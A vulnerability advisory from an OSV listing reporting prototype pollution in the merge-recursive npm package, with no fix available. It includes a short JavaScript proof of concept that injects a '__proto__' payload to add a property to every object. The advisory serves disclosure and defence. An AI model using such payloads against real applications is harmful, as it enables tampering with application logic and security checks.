Lucene search

K
osvGoogleOSV:GHSA-CVXM-F295-X957
HistorySep 18, 2018 - 1:46 p.m.

Prototype Pollution in merge-recursive

2018-09-1813:46:06
Google
osv.dev
7

AI Score

9.4

Confidence

High

EPSS

0.003

Percentile

70.2%

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

AI Score

9.4

Confidence

High

EPSS

0.003

Percentile

70.2%

Related for OSV:GHSA-CVXM-F295-X957